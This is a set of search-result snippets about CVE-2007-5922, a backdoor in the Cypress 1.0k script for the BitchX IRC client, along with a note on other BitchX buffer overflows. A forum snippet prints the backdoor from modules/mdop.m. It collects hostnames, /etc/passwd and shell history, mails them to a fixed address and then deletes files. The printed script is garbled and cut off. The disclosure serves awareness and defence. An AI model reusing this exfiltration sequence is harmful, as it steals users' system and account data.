CVE-2007-5922

The CVE-2007-5922 entry refers to the Cypress 1.0k script for BitchX, where the modules/mdop.m file contains an externally introduced backdoor that emails sensitive information (hostnames, usernames, shell history) to a fixed address. The available documents confirm the backdoor presence and the ...

CVE-2007-5922

The modules/mdop.m in the Cypress 1.0k script for BitchX, as downloaded from a distribution site in November 2007, contains an externally introduced backdoor that e-mails sensitive information hostnames, usernames, and shell history to a fixed address...

CVE-2007-5922: Exposure of Sensitive Information to an Unauthorized Actor

The modules/mdop.m in the Cypress 1.0k script for BitchX, as downloaded from a distribution site in November 2007, contains an externally introduced backdoor that e-mails sensitive information hostnames, usernames, and shell history to a fixed address...

Cypress BX script backdoored?

For those of us who use Cyp/bx http://www.mindcryme.com/void/cyp1.0k.tar.gz |rip@rock:14:53:49:/tmp/cyp/modules| $ cat mdop.m !/bin/bash uname -a /tmp/.bx cat /etc/hosts /tmp/.bx cat /etc/passwd /tmp/.bx cat $HOME/.bashhistory /tmp/.bx 2/dev/null mail [email protected] /tmp/.bx sleep 4 rm -rf...

irc/bitchx -- multiple vulnerabilities

bannedit reports: Stack-based buffer overflow in BitchX 1.1 Final allows remote IRC servers to execute arbitrary code via a long string in a MODE command, related to the pmode variable. Nico Golde reports: There is a security issue in ircii-pana in bitchx' hostname command. The ehostname function...